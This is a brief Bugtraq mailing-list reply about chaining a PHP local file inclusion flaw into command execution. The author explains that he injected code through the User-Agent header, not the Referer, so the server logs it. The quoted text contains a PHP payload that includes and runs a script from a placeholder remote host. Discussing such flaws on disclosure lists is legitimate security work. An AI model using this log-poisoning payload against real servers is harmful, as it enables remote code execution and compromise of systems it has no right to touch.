Bugtraq: Re: using php local file include vulnerabilities for command execution

[Andreas Zeidler <az () zitc de>]

On Tue, Oct 11 18:34, Andreas Zeidler <az () zitc de> wrote:
> the idea that hit me before falling asleep was to send the code i needed
> (like <?php include('http://xx.xx.xx.xx/script.php'); ?>) via the
> referer string, this way having the web server write it into a file
well, i actually used the user-agent here, not the referer.  but i guess
unless the server checks if the given referer represents a valid url i
won't make much difference...


> andi
-- 
zeidler it consulting - http://zitc.de/ - info () zitc de
karl-kunger-str 59 - 12435 berlin - telefon +49 30 25563779
keine softwarepatente in europa! - http://noepatents.eu.org/

Attachment: signature.asc
Description: Digital signature